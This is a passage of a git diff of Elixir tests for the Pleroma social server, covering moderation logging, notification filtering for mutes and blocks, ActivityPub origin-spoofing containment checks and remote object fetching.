+ setup do
+ admin = insert(:user, is_admin: true)
+ moderator = insert(:user, is_moderator: true)
+ subject1 = insert(:user)
+ subject2 = insert(:user)
+
+ [admin: admin, moderator: moderator, subject1: subject1, subject2: subject2]
+ end
+
+ test "logging user deletion by moderator", %{moderator: moderator, subject1: subject1} do
+ {:ok, _} =
+ ModerationLog.insert_log(%{
+ actor: moderator,
+ subject: [subject1],
+ action: "delete"
+ })
+
+ log = Repo.one(ModerationLog)
+
+ assert log.data["message"] == "@#{moderator.nickname} deleted users: @#{subject1.nickname}"
+ end
+
+ test "logging user creation by moderator", %{
+ moderator: moderator,
+ subject1: subject1,
+ subject2: subject2
+ } do
+ {:ok, _} =
+ ModerationLog.insert_log(%{
+ actor: moderator,
+ subjects: [subject1, subject2],
+ action: "create"
+ })
+
+ log = Repo.one(ModerationLog)
+
+ assert log.data["message"] ==
+ "@#{moderator.nickname} created users: @#{subject1.nickname}, @#{subject2.nickname}"
+ end
+
+ test "logging user follow by admin", %{admin: admin, subject1: subject1, subject2: subject2} do
+ {:ok, _} =
+ ModerationLog.insert_log(%{
+ actor: admin,
+ followed: subject1,
+ follower: subject2,
+ action: "follow"
+ })
+
+ log = Repo.one(ModerationLog)
+
+ assert log.data["message"] ==
+ "@#{admin.nickname} made @#{subject2.nickname} follow @#{subject1.nickname}"
+ end
+
+ test "logging user unfollow by admin", %{admin: admin, subject1: subject1, subject2: subject2} do
+ {:ok, _} =
+ ModerationLog.insert_log(%{
+ actor: admin,
+ followed: subject1,
+ follower: subject2,
+ action: "unfollow"
+ })
+
+ log = Repo.one(ModerationLog)
+
+ assert log.data["message"] ==
+ "@#{admin.nickname} made @#{subject2.nickname} unfollow @#{subject1.nickname}"
+ end
+
+ test "logging user tagged by admin", %{admin: admin, subject1: subject1, subject2: subject2} do
+ {:ok, _} =
+ ModerationLog.insert_log(%{
+ actor: admin,
+ nicknames: [subject1.nickname, subject2.nickname],
+ tags: ["foo", "bar"],
+ action: "tag"
+ })
+
+ log = Repo.one(ModerationLog)
+
+ users =
+ [subject1.nickname, subject2.nickname]
+ |> Enum.map(&"@#{&1}")
+ |> Enum.join(", ")
+
+ tags = ["foo", "bar"] |> Enum.join(", ")
+
+ assert log.data["message"] == "@#{admin.nickname} added tags: #{tags} to users: #{users}"
+ end
+
+ test "logging user untagged by admin", %{admin: admin, subject1: subject1, subject2: subject2} do
+ {:ok, _} =
+ ModerationLog.insert_log(%{
+ actor: admin,
+ nicknames: [subject1.nickname, subject2.nickname],
+ tags: ["foo", "bar"],
+ action: "untag"
+ })
+
+ log = Repo.one(ModerationLog)
+
+ users =
+ [subject1.nickname, subject2.nickname]
+ |> Enum.map(&"@#{&1}")
+ |> Enum.join(", ")
+
+ tags = ["foo", "bar"] |> Enum.join(", ")
+
+ assert log.data["message"] ==
+ "@#{admin.nickname} removed tags: #{tags} from users: #{users}"
+ end
+
+ test "logging user grant by moderator", %{moderator: moderator, subject1: subject1} do
+ {:ok, _} =
+ ModerationLog.insert_log(%{
+ actor: moderator,
+ subject: [subject1],
+ action: "grant",
+ permission: "moderator"
+ })
+
+ log = Repo.one(ModerationLog)
+
+ assert log.data["message"] == "@#{moderator.nickname} made @#{subject1.nickname} moderator"
+ end
+
+ test "logging user revoke by moderator", %{moderator: moderator, subject1: subject1} do
+ {:ok, _} =
+ ModerationLog.insert_log(%{
+ actor: moderator,
+ subject: [subject1],
+ action: "revoke",
+ permission: "moderator"
+ })
+
+ log = Repo.one(ModerationLog)
+
+ assert log.data["message"] ==
+ "@#{moderator.nickname} revoked moderator role from @#{subject1.nickname}"
+ end
+
+ test "logging relay follow", %{moderator: moderator} do
+ {:ok, _} =
+ ModerationLog.insert_log(%{
+ actor: moderator,
+ action: "relay_follow",
+ target: "https://example.org/relay"
+ })
+
+ log = Repo.one(ModerationLog)
+
+ assert log.data["message"] ==
+ "@#{moderator.nickname} followed relay: https://example.org/relay"
+ end
+
+ test "logging relay unfollow", %{moderator: moderator} do
+ {:ok, _} =
+ ModerationLog.insert_log(%{
+ actor: moderator,
+ action: "relay_unfollow",
+ target: "https://example.org/relay"
+ })
+
+ log = Repo.one(ModerationLog)
+
+ assert log.data["message"] ==
+ "@#{moderator.nickname} unfollowed relay: https://example.org/relay"
+ end
+
+ test "logging report update", %{moderator: moderator} do
+ report = %Activity{
+ id: "9m9I1F4p8ftrTP6QTI",
+ data: %{
+ "type" => "Flag",
+ "state" => "resolved"
+ }
+ }
+
+ {:ok, _} =
+ ModerationLog.insert_log(%{
+ actor: moderator,
+ action: "report_update",
+ subject: report
+ })
+
+ log = Repo.one(ModerationLog)
+
+ assert log.data["message"] ==
+ "@#{moderator.nickname} updated report ##{report.id} with 'resolved' state"
+ end
+
+ test "logging report response", %{moderator: moderator} do
+ report = %Activity{
+ id: "9m9I1F4p8ftrTP6QTI",
+ data: %{
+ "type" => "Note"
+ }
+ }
+
+ {:ok, _} =
+ ModerationLog.insert_log(%{
+ actor: moderator,
+ action: "report_note",
+ subject: report,
+ text: "look at this"
+ })
+
+ log = Repo.one(ModerationLog)
+
+ assert log.data["message"] ==
+ "@#{moderator.nickname} added note 'look at this' to report ##{report.id}"
+ end
+
+ test "logging status sensitivity update", %{moderator: moderator} do
+ note = insert(:note_activity)
+
+ {:ok, _} =
+ ModerationLog.insert_log(%{
+ actor: moderator,
+ action: "status_update",
+ subject: note,
+ sensitive: "true",
+ visibility: nil
+ })
+
+ log = Repo.one(ModerationLog)
+
+ assert log.data["message"] ==
+ "@#{moderator.nickname} updated status ##{note.id}, set sensitive: 'true'"
+ end
+
+ test "logging status visibility update", %{moderator: moderator} do
+ note = insert(:note_activity)
+
+ {:ok, _} =
+ ModerationLog.insert_log(%{
+ actor: moderator,
+ action: "status_update",
+ subject: note,
+ sensitive: nil,
+ visibility: "private"
+ })
+
+ log = Repo.one(ModerationLog)
+
+ assert log.data["message"] ==
+ "@#{moderator.nickname} updated status ##{note.id}, set visibility: 'private'"
+ end
+
+ test "logging status sensitivity & visibility update", %{moderator: moderator} do
+ note = insert(:note_activity)
+
+ {:ok, _} =
+ ModerationLog.insert_log(%{
+ actor: moderator,
+ action: "status_update",
+ subject: note,
+ sensitive: "true",
+ visibility: "private"
+ })
+
+ log = Repo.one(ModerationLog)
+
+ assert log.data["message"] ==
+ "@#{moderator.nickname} updated status ##{note.id}, set sensitive: 'true', visibility: 'private'"
+ end
+
+ test "logging status deletion", %{moderator: moderator} do
+ note = insert(:note_activity)
+
+ {:ok, _} =
+ ModerationLog.insert_log(%{
+ actor: moderator,
+ action: "status_delete",
+ subject_id: note.id
+ })
+
+ log = Repo.one(ModerationLog)
+
+ assert log.data["message"] == "@#{moderator.nickname} deleted status ##{note.id}"
+ end
+ end
+end
diff --git a/test/notification_test.exs b/test/notification_test.exs
index dda570b49..04bf5b41a 100644
--- a/test/notification_test.exs
+++ b/test/notification_test.exs
@@ -1,25 +1,39 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.NotificationTest do
use Pleroma.DataCase
+
+ import Pleroma.Factory
+
alias Pleroma.Notification
+ alias Pleroma.Tests.ObanHelpers
alias Pleroma.User
alias Pleroma.Web.ActivityPub.Transmogrifier
alias Pleroma.Web.CommonAPI
alias Pleroma.Web.Streamer
- alias Pleroma.Web.TwitterAPI.TwitterAPI
- import Pleroma.Factory
describe "create_notifications" do
+ test "creates a notification for an emoji reaction" do
+ user = insert(:user)
+ other_user = insert(:user)
+
+ {:ok, activity} = CommonAPI.post(user, %{"status" => "yeah"})
+ {:ok, activity, _object} = CommonAPI.react_with_emoji(activity.id, other_user, "☕")
+
+ {:ok, [notification]} = Notification.create_notifications(activity)
+
+ assert notification.user_id == user.id
+ end
+
test "notifies someone when they are directly addressed" do
user = insert(:user)
other_user = insert(:user)
third_user = insert(:user)
{:ok, activity} =
- TwitterAPI.create_status(user, %{
+ CommonAPI.post(user, %{
"status" => "hey @#{other_user.nickname} and @#{third_user.nickname}"
})
@@ -37,24 +51,37 @@ defmodule Pleroma.NotificationTest do
User.subscribe(subscriber, user)
- {:ok, status} = TwitterAPI.create_status(user, %{"status" => "Akariiiin"})
+ {:ok, status} = CommonAPI.post(user, %{"status" => "Akariiiin"})
{:ok, [notification]} = Notification.create_notifications(status)
assert notification.user_id == subscriber.id
end
- end
- describe "create_notification" do
- setup do
- GenServer.start(Streamer, %{}, name: Streamer)
+ test "does not create a notification for subscribed users if status is a reply" do
+ user = insert(:user)
+ other_user = insert(:user)
+ subscriber = insert(:user)
- on_exit(fn ->
- if pid = Process.whereis(Streamer) do
- Process.exit(pid, :kill)
- end
- end)
+ User.subscribe(subscriber, other_user)
+
+ {:ok, activity} = CommonAPI.post(user, %{"status" => "test post"})
+
+ {:ok, _reply_activity} =
+ CommonAPI.post(other_user, %{
+ "status" => "test reply",
+ "in_reply_to_status_id" => activity.id
+ })
+
+ user_notifications = Notification.for_user(user)
+ assert length(user_notifications) == 1
+
+ subscriber_notifications = Notification.for_user(subscriber)
+ assert Enum.empty?(subscriber_notifications)
end
+ end
+ describe "create_notification" do
+ @tag needs_streamer: true
test "it creates a notification for user and send to the 'user' and the 'user:notification' stream" do
user = insert(:user)
task = Task.async(fn -> assert_receive {:text, _}, 4_000 end)
@@ -78,12 +105,12 @@ defmodule Pleroma.NotificationTest do
activity = insert(:note_activity)
author = User.get_cached_by_ap_id(activity.data["actor"])
user = insert(:user)
- {:ok, user} = User.block(user, author)
+ {:ok, _user_relationship} = User.block(user, author)
assert Notification.create_notification(activity, user)
end
- test "it creates a notificatin for the user if the user mutes the activity author" do
+ test "it creates a notification for the user if the user mutes the activity author" do
muter = insert(:user)
muted = insert(:user)
{:ok, _} = User.mute(muter, muted)
@@ -97,7 +124,7 @@ defmodule Pleroma.NotificationTest do
muter = insert(:user)
muted = insert(:user)
- {:ok, muter} = User.mute(muter, muted, false)
+ {:ok, _user_relationships} = User.mute(muter, muted, false)
{:ok, activity} = CommonAPI.post(muted, %{"status" => "Hi @#{muter.nickname}"})
@@ -121,7 +148,10 @@ defmodule Pleroma.NotificationTest do
test "it disables notifications from followers" do
follower = insert(:user)
- followed = insert(:user, info: %{notification_settings: %{"followers" => false}})
+
+ followed =
+ insert(:user, notification_settings: %Pleroma.User.NotificationSetting{followers: false})
+
User.follow(follower, followed)
{:ok, activity} = CommonAPI.post(follower, %{"status" => "hey @#{followed.nickname}"})
refute Notification.create_notification(activity, followed)
@@ -129,13 +159,20 @@ defmodule Pleroma.NotificationTest do
test "it disables notifications from non-followers" do
follower = insert(:user)
- followed = insert(:user, info: %{notification_settings: %{"non_followers" => false}})
+
+ followed =
+ insert(:user,
+ notification_settings: %Pleroma.User.NotificationSetting{non_followers: false}
+ )
+
{:ok, activity} = CommonAPI.post(follower, %{"status" => "hey @#{followed.nickname}"})
refute Notification.create_notification(activity, followed)
end
test "it disables notifications from people the user follows" do
- follower = insert(:user, info: %{notification_settings: %{"follows" => false}})
+ follower =
+ insert(:user, notification_settings: %Pleroma.User.NotificationSetting{follows: false})
+
followed = insert(:user)
User.follow(follower, followed)
follower = Repo.get(User, follower.id)
@@ -144,7 +181,9 @@ defmodule Pleroma.NotificationTest do
end
test "it disables notifications from people the user does not follow" do
- follower = insert(:user, info: %{notification_settings: %{"non_follows" => false}})
+ follower =
+ insert(:user, notification_settings: %Pleroma.User.NotificationSetting{non_follows: false})
+
followed = insert(:user)
{:ok, activity} = CommonAPI.post(followed, %{"status" => "hey @#{follower.nickname}"})
refute Notification.create_notification(activity, follower)
@@ -160,47 +199,20 @@ defmodule Pleroma.NotificationTest do
test "it doesn't create a notification for follow-unfollow-follow chains" do
user = insert(:user)
followed_user = insert(:user)
- {:ok, _, _, activity} = TwitterAPI.follow(user, %{"user_id" => followed_user.id})
+ {:ok, _, _, activity} = CommonAPI.follow(user, followed_user)
Notification.create_notification(activity, followed_user)
- TwitterAPI.unfollow(user, %{"user_id" => followed_user.id})
- {:ok, _, _, activity_dupe} = TwitterAPI.follow(user, %{"user_id" => followed_user.id})
+ CommonAPI.unfollow(user, followed_user)
+ {:ok, _, _, activity_dupe} = CommonAPI.follow(user, followed_user)
refute Notification.create_notification(activity_dupe, followed_user)
end
- test "it doesn't create a notification for like-unlike-like chains" do
- user = insert(:user)
- liked_user = insert(:user)
- {:ok, status} = TwitterAPI.create_status(liked_user, %{"status" => "Yui is best yuru"})
- {:ok, fav_status} = TwitterAPI.fav(user, status.id)
- Notification.create_notification(fav_status, liked_user)
- TwitterAPI.unfav(user, status.id)
- {:ok, dupe} = TwitterAPI.fav(user, status.id)
- refute Notification.create_notification(dupe, liked_user)
- end
-
- test "it doesn't create a notification for repeat-unrepeat-repeat chains" do
- user = insert(:user)
- retweeted_user = insert(:user)
-
- {:ok, status} =
- TwitterAPI.create_status(retweeted_user, %{
- "status" => "Send dupe notifications to the shadow realm"
- })
-
- {:ok, retweeted_activity} = TwitterAPI.repeat(user, status.id)
- Notification.create_notification(retweeted_activity, retweeted_user)
- TwitterAPI.unrepeat(user, status.id)
- {:ok, dupe} = TwitterAPI.repeat(user, status.id)
- refute Notification.create_notification(dupe, retweeted_user)
- end
-
test "it doesn't create duplicate notifications for follow+subscribed users" do
user = insert(:user)
subscriber = insert(:user)
- {:ok, _, _, _} = TwitterAPI.follow(subscriber, %{"user_id" => user.id})
+ {:ok, _, _, _} = CommonAPI.follow(subscriber, user)
User.subscribe(subscriber, user)
- {:ok, status} = TwitterAPI.create_status(user, %{"status" => "Akariiiin"})
+ {:ok, status} = CommonAPI.post(user, %{"status" => "Akariiiin"})
{:ok, [_notif]} = Notification.create_notifications(status)
end
@@ -210,8 +222,7 @@ defmodule Pleroma.NotificationTest do
User.subscribe(subscriber, user)
- {:ok, status} =
- TwitterAPI.create_status(user, %{"status" => "inwisible", "visibility" => "direct"})
+ {:ok, status} = CommonAPI.post(user, %{"status" => "inwisible", "visibility" => "direct"})
assert {:ok, []} == Notification.create_notifications(status)
end
@@ -222,8 +233,7 @@ defmodule Pleroma.NotificationTest do
user = insert(:user)
other_user = insert(:user)
- {:ok, activity} =
- TwitterAPI.create_status(user, %{"status" => "hey @#{other_user.nickname}"})
+ {:ok, activity} = CommonAPI.post(user, %{"status" => "hey @#{other_user.nickname}"})
{:ok, [notification]} = Notification.create_notifications(activity)
{:ok, notification} = Notification.get(other_user, notification.id)
@@ -235,8 +245,7 @@ defmodule Pleroma.NotificationTest do
user = insert(:user)
other_user = insert(:user)
- {:ok, activity} =
- TwitterAPI.create_status(user, %{"status" => "hey @#{other_user.nickname}"})
+ {:ok, activity} = CommonAPI.post(user, %{"status" => "hey @#{other_user.nickname}"})
{:ok, [notification]} = Notification.create_notifications(activity)
{:error, _notification} = Notification.get(user, notification.id)
@@ -248,8 +257,7 @@ defmodule Pleroma.NotificationTest do
user = insert(:user)
other_user = insert(:user)
- {:ok, activity} =
- TwitterAPI.create_status(user, %{"status" => "hey @#{other_user.nickname}"})
+ {:ok, activity} = CommonAPI.post(user, %{"status" => "hey @#{other_user.nickname}"})
{:ok, [notification]} = Notification.create_notifications(activity)
{:ok, notification} = Notification.dismiss(other_user, notification.id)
@@ -261,8 +269,7 @@ defmodule Pleroma.NotificationTest do
user = insert(:user)
other_user = insert(:user)
- {:ok, activity} =
- TwitterAPI.create_status(user, %{"status" => "hey @#{other_user.nickname}"})
+ {:ok, activity} = CommonAPI.post(user, %{"status" => "hey @#{other_user.nickname}"})
{:ok, [notification]} = Notification.create_notifications(activity)
{:error, _notification} = Notification.dismiss(user, notification.id)
@@ -276,14 +283,14 @@ defmodule Pleroma.NotificationTest do
third_user = insert(:user)
{:ok, activity} =
- TwitterAPI.create_status(user, %{
+ CommonAPI.post(user, %{
"status" => "hey @#{other_user.nickname} and @#{third_user.nickname} !"
})
{:ok, _notifs} = Notification.create_notifications(activity)
{:ok, activity} =
- TwitterAPI.create_status(user, %{
+ CommonAPI.post(user, %{
"status" => "hey again @#{other_user.nickname} and @#{third_user.nickname} !"
})
@@ -301,12 +308,12 @@ defmodule Pleroma.NotificationTest do
other_user = insert(:user)
{:ok, _activity} =
- TwitterAPI.create_status(user, %{
+ CommonAPI.post(user, %{
"status" => "hey @#{other_user.nickname}!"
})
{:ok, _activity} =
- TwitterAPI.create_status(user, %{
+ CommonAPI.post(user, %{
"status" => "hey again @#{other_user.nickname}!"
})
@@ -316,7 +323,7 @@ defmodule Pleroma.NotificationTest do
assert n2.id > n1.id
{:ok, _activity} =
- TwitterAPI.create_status(user, %{
+ CommonAPI.post(user, %{
"status" => "hey yet again @#{other_user.nickname}!"
})
@@ -330,6 +337,51 @@ defmodule Pleroma.NotificationTest do
end
end
+ describe "for_user_since/2" do
+ defp days_ago(days) do
+ NaiveDateTime.add(
+ NaiveDateTime.truncate(NaiveDateTime.utc_now(), :second),
+ -days * 60 * 60 * 24,
+ :second
+ )
+ end
+
+ test "Returns recent notifications" do
+ user1 = insert(:user)
+ user2 = insert(:user)
+
+ Enum.each(0..10, fn i ->
+ {:ok, _activity} =
+ CommonAPI.post(user1, %{
+ "status" => "hey ##{i} @#{user2.nickname}!"
+ })
+ end)
+
+ {old, new} = Enum.split(Notification.for_user(user2), 5)
+
+ Enum.each(old, fn notification ->
+ notification
+ |> cast(%{updated_at: days_ago(10)}, [:updated_at])
+ |> Pleroma.Repo.update!()
+ end)
+
+ recent_notifications_ids =
+ user2
+ |> Notification.for_user_since(
+ NaiveDateTime.add(NaiveDateTime.utc_now(), -5 * 86_400, :second)
+ )
+ |> Enum.map(& &1.id)
+
+ Enum.each(old, fn %{id: id} ->
+ refute id in recent_notifications_ids
+ end)
+
+ Enum.each(new, fn %{id: id} ->
+ assert id in recent_notifications_ids
+ end)
+ end
+ end
+
describe "notification target determination" do
test "it sends notifications to addressed users in new messages" do
user = insert(:user)
@@ -542,15 +594,108 @@ defmodule Pleroma.NotificationTest do
assert Enum.empty?(Notification.for_user(user))
end
+
+ test "notifications are deleted if a local user is deleted" do
+ user = insert(:user)
+ other_user = insert(:user)
+
+ {:ok, _activity} =
+ CommonAPI.post(user, %{"status" => "hi @#{other_user.nickname}", "visibility" => "direct"})
+
+ refute Enum.empty?(Notification.for_user(other_user))
+
+ {:ok, job} = User.delete(user)
+ ObanHelpers.perform(job)
+
+ assert Enum.empty?(Notification.for_user(other_user))
+ end
+
+ test "notifications are deleted if a remote user is deleted" do
+ remote_user = insert(:user)
+ local_user = insert(:user)
+
+ dm_message = %{
+ "@context" => "https://www.w3.org/ns/activitystreams",
+ "type" => "Create",
+ "actor" => remote_user.ap_id,
+ "id" => remote_user.ap_id <> "/activities/test",
+ "to" => [local_user.ap_id],
+ "cc" => [],
+ "object" => %{
+ "type" => "Note",
+ "content" => "Hello!",
+ "tag" => [
+ %{
+ "type" => "Mention",
+ "href" => local_user.ap_id,
+ "name" => "@#{local_user.nickname}"
+ }
+ ],
+ "to" => [local_user.ap_id],
+ "cc" => [],
+ "attributedTo" => remote_user.ap_id
+ }
+ }
+
+ {:ok, _dm_activity} = Transmogrifier.handle_incoming(dm_message)
+
+ refute Enum.empty?(Notification.for_user(local_user))
+
+ delete_user_message = %{
+ "@context" => "https://www.w3.org/ns/activitystreams",
+ "id" => remote_user.ap_id <> "/activities/delete",
+ "actor" => remote_user.ap_id,
+ "type" => "Delete",
+ "object" => remote_user.ap_id
+ }
+
+ {:ok, _delete_activity} = Transmogrifier.handle_incoming(delete_user_message)
+ ObanHelpers.perform_all()
+
+ assert Enum.empty?(Notification.for_user(local_user))
+ end
+
+ test "move activity generates a notification" do
+ %{ap_id: old_ap_id} = old_user = insert(:user)
+ %{ap_id: new_ap_id} = new_user = insert(:user, also_known_as: [old_ap_id])
+ follower = insert(:user)
+ other_follower = insert(:user, %{allow_following_move: false})
+
+ User.follow(follower, old_user)
+ User.follow(other_follower, old_user)
+
+ Pleroma.Web.ActivityPub.ActivityPub.move(old_user, new_user)
+ ObanHelpers.perform_all()
+
+ assert [] = Notification.for_user(follower)
+
+ assert [
+ %{
+ activity: %{
+ data: %{"type" => "Move", "actor" => ^old_ap_id, "target" => ^new_ap_id}
+ }
+ }
+ ] = Notification.for_user(follower, %{with_move: true})
+
+ assert [] = Notification.for_user(other_follower)
+
+ assert [
+ %{
+ activity: %{
+ data: %{"type" => "Move", "actor" => ^old_ap_id, "target" => ^new_ap_id}
+ }
+ }
+ ] = Notification.for_user(other_follower, %{with_move: true})
+ end
end
describe "for_user" do
test "it returns notifications for muted user without notifications" do
user = insert(:user)
muted = insert(:user)
- {:ok, user} = User.mute(user, muted, false)
+ {:ok, _user_relationships} = User.mute(user, muted, false)
- {:ok, _activity} = TwitterAPI.create_status(muted, %{"status" => "hey @#{user.nickname}"})
+ {:ok, _activity} = CommonAPI.post(muted, %{"status" => "hey @#{user.nickname}"})
assert length(Notification.for_user(user)) == 1
end
@@ -558,9 +703,9 @@ defmodule Pleroma.NotificationTest do
test "it doesn't return notifications for muted user with notifications" do
user = insert(:user)
muted = insert(:user)
- {:ok, user} = User.mute(user, muted)
+ {:ok, _user_relationships} = User.mute(user, muted)
- {:ok, _activity} = TwitterAPI.create_status(muted, %{"status" => "hey @#{user.nickname}"})
+ {:ok, _activity} = CommonAPI.post(muted, %{"status" => "hey @#{user.nickname}"})
assert Notification.for_user(user) == []
end
@@ -568,9 +713,9 @@ defmodule Pleroma.NotificationTest do
test "it doesn't return notifications for blocked user" do
user = insert(:user)
blocked = insert(:user)
- {:ok, user} = User.block(user, blocked)
+ {:ok, _user_relationship} = User.block(user, blocked)
- {:ok, _activity} = TwitterAPI.create_status(blocked, %{"status" => "hey @#{user.nickname}"})
+ {:ok, _activity} = CommonAPI.post(blocked, %{"status" => "hey @#{user.nickname}"})
assert Notification.for_user(user) == []
end
@@ -580,7 +725,7 @@ defmodule Pleroma.NotificationTest do
blocked = insert(:user, ap_id: "http://some-domain.com")
{:ok, user} = User.block_domain(user, "some-domain.com")
- {:ok, _activity} = TwitterAPI.create_status(blocked, %{"status" => "hey @#{user.nickname}"})
+ {:ok, _activity} = CommonAPI.post(blocked, %{"status" => "hey @#{user.nickname}"})
assert Notification.for_user(user) == []
end
@@ -589,49 +734,47 @@ defmodule Pleroma.NotificationTest do
user = insert(:user)
another_user = insert(:user)
- {:ok, activity} =
- TwitterAPI.create_status(another_user, %{"status" => "hey @#{user.nickname}"})
+ {:ok, activity} = CommonAPI.post(another_user, %{"status" => "hey @#{user.nickname}"})
{:ok, _} = Pleroma.ThreadMute.add_mute(user.id, activity.data["context"])
assert Notification.for_user(user) == []
end
- test "it returns notifications for muted user with notifications and with_muted parameter" do
+ test "it returns notifications from a muted user when with_muted is set" do
user = insert(:user)
muted = insert(:user)
- {:ok, user} = User.mute(user, muted)
+ {:ok, _user_relationships} = User.mute(user, muted)
- {:ok, _activity} = TwitterAPI.create_status(muted, %{"status" => "hey @#{user.nickname}"})
+ {:ok, _activity} = CommonAPI.post(muted, %{"status" => "hey @#{user.nickname}"})
assert length(Notification.for_user(user, %{with_muted: true})) == 1
end
- test "it returns notifications for blocked user and with_muted parameter" do
+ test "it doesn't return notifications from a blocked user when with_muted is set" do
user = insert(:user)
blocked = insert(:user)
- {:ok, user} = User.block(user, blocked)
+ {:ok, _user_relationship} = User.block(user, blocked)
- {:ok, _activity} = TwitterAPI.create_status(blocked, %{"status" => "hey @#{user.nickname}"})
+ {:ok, _activity} = CommonAPI.post(blocked, %{"status" => "hey @#{user.nickname}"})
- assert length(Notification.for_user(user, %{with_muted: true})) == 1
+ assert Enum.empty?(Notification.for_user(user, %{with_muted: true}))
end
- test "it returns notificatitons for blocked domain and with_muted parameter" do
+ test "it doesn't return notifications from a domain-blocked user when with_muted is set" do
user = insert(:user)
blocked = insert(:user, ap_id: "http://some-domain.com")
{:ok, user} = User.block_domain(user, "some-domain.com")
- {:ok, _activity} = TwitterAPI.create_status(blocked, %{"status" => "hey @#{user.nickname}"})
+ {:ok, _activity} = CommonAPI.post(blocked, %{"status" => "hey @#{user.nickname}"})
- assert length(Notification.for_user(user, %{with_muted: true})) == 1
+ assert Enum.empty?(Notification.for_user(user, %{with_muted: true}))
end
- test "it returns notifications for muted thread with_muted parameter" do
+ test "it returns notifications from muted threads when with_muted is set" do
user = insert(:user)
another_user = insert(:user)
- {:ok, activity} =
- TwitterAPI.create_status(another_user, %{"status" => "hey @#{user.nickname}"})
+ {:ok, activity} = CommonAPI.post(another_user, %{"status" => "hey @#{user.nickname}"})
{:ok, _} = Pleroma.ThreadMute.add_mute(user.id, activity.data["context"])
assert length(Notification.for_user(user, %{with_muted: true})) == 1
diff --git a/test/object/containment_test.exs b/test/object/containment_test.exs
index 61cd1b412..7636803a6 100644
--- a/test/object/containment_test.exs
+++ b/test/object/containment_test.exs
@@ -17,6 +17,16 @@ defmodule Pleroma.Object.ContainmentTest do
end
describe "general origin containment" do
+ test "works for completely actorless posts" do
+ assert :error ==
+ Containment.contain_origin("https://glaceon.social/users/monorail", %{
+ "deleted" => "2019-10-30T05:48:50.249606Z",
+ "formerType" => "Note",
+ "id" => "https://glaceon.social/users/monorail/statuses/103049757364029187",
+ "type" => "Tombstone"
+ })
+ end
+
test "contain_origin_from_id() catches obvious spoofing attempts" do
data = %{
"id" => "http://example.com/~alyssa/activities/1234.json"
@@ -65,7 +75,21 @@ defmodule Pleroma.Object.ContainmentTest do
assert capture_log(fn ->
{:error, _} = User.get_or_fetch_by_ap_id("https://n1u.moe/users/rye")
end) =~
- "[error] Could not decode user at fetch https://n1u.moe/users/rye, {:error, :error}"
+ "[error] Could not decode user at fetch https://n1u.moe/users/rye"
+ end
+
+ test "contain_origin_from_id() gracefully handles cases where no ID is present" do
+ data = %{
+ "type" => "Create",
+ "object" => %{
+ "id" => "http://example.net/~alyssa/activities/1234",
+ "attributedTo" => "http://example.org/~alyssa"
+ },
+ "actor" => "http://example.com/~bob"
+ }
+
+ :error =
+ Containment.contain_origin_from_id("http://example.net/~alyssa/activities/1234", data)
end
end
diff --git a/test/object/fetcher_test.exs b/test/object/fetcher_test.exs
index 482252cff..2aad7a588 100644
--- a/test/object/fetcher_test.exs
+++ b/test/object/fetcher_test.exs
@@ -27,31 +27,16 @@ defmodule Pleroma.Object.FetcherTest do
end
describe "actor origin containment" do
- test_with_mock "it rejects objects with a bogus origin",
- Pleroma.Web.OStatus,
- [:passthrough],
- [] do
+ test "it rejects objects with a bogus origin" do
{:error, _} = Fetcher.fetch_object_from_id("https://info.pleroma.site/activity.json")
-
- refute called(Pleroma.Web.OStatus.fetch_activity_from_url(:_))
end
- test_with_mock "it rejects objects when attributedTo is wrong (variant 1)",
- Pleroma.Web.OStatus,
- [:passthrough],
- [] do
+ test "it rejects objects when attributedTo is wrong (variant 1)" do
{:error, _} = Fetcher.fetch_object_from_id("https://info.pleroma.site/activity2.json")
-
- refute called(Pleroma.Web.OStatus.fetch_activity_from_url(:_))
end
- test_with_mock "it rejects objects when attributedTo is wrong (variant 2)",
- Pleroma.Web.OStatus,
- [:passthrough],
- [] do
+ test "it rejects objects when attributedTo is wrong (variant 2)" do
{:error, _} = Fetcher.fetch_object_from_id("https://info.pleroma.site/activity3.json")
-
- refute called(Pleroma.Web.OStatus.fetch_activity_from_url(:_))
end
end
@@ -71,24 +56,6 @@ defmodule Pleroma.Object.FetcherTest do
assert object == object_again
end
-
- test "it works with objects only available via Ostatus" do
- {:ok, object} = Fetcher.fetch_object_from_id("https://shitposter.club/notice/2827873")
- assert activity = Activity.get_create_by_object_ap_id(object.data["id"])
- assert activity.data["id"]
-
- {:ok, object_again} = Fetcher.fetch_object_from_id("https://shitposter.club/notice/2827873")
-
- assert object == object_again
- end
-
- test "it correctly stitches up conversations between ostatus and ap" do
- last = "https://mstdn.io/users/mayuutann/statuses/99568293732299394"
- {:ok, object} = Fetcher.fetch_object_from_id(last)
-
- object = Object.get_by_ap_id(object.data["inReplyTo"])
- assert object
- end
end
describe "implementation quirks" do
@@ -110,6 +77,22 @@ defmodule Pleroma.Object.FetcherTest do
assert object
end
+ test "it can fetch Mobilizon events" do
+ {:ok, object} =
+ Fetcher.fetch_object_from_id(
+ "https://mobilizon.org/events/252d5816-00a3-4a89-a66f-15bf65c33e39"
+ )
+
+ assert object
+ end
+
+ test "it can fetch wedistribute articles" do
+ {:ok, object} =
+ Fetcher.fetch_object_from_id("https://wedistribute.org/wp-json/pterotype/v1/object/85810")
+
+ assert object
+ end
+
test "all objects with fake directions are rejected by the object fetcher" do
assert {:error, _} =
Fetcher.fetch_and_contain_remote_object_from_id(
@@ -152,32 +135,28 @@ defmodule Pleroma.Object.FetcherTest do
end
describe "signed fetches" do
+ clear_config([:activitypub, :sign_object_fetches])
+
test_with_mock "it signs fetches when configured to do so",
Pleroma.Signature,
[:passthrough],
[] do
- option = Pleroma.Config.get([:activitypub, :sign_object_fetches])
Pleroma.Config.put([:activitypub, :sign_object_fetches], true)
Fetcher.fetch_object_from_id("http://mastodon.example.org/@admin/99541947525187367")
assert called(Pleroma.Signature.sign(:_, :_))
-
- Pleroma.Config.put([:activitypub, :sign_object_fetches], option)
end
test_with_mock "it doesn't sign fetches when not configured to do so",
Pleroma.Signature,
[:passthrough],
[] do
- option = Pleroma.Config.get([:activitypub, :sign_object_fetches])
Pleroma.Config.put([:activitypub, :sign_object_fetches], false)
Fetcher.fetch_object_from_id("http://mastodon.example.org/@admin/99541947525187367")
refute called(Pleroma.Signature.sign(:_, :_))
-
- Pleroma.Config.put([:activitypub, :sign_object_fetches], option)
end
end
end
diff --git a/test/object_test.exs b/test/object_test.exs
index d138ee091..9b4e6f0bf 100644
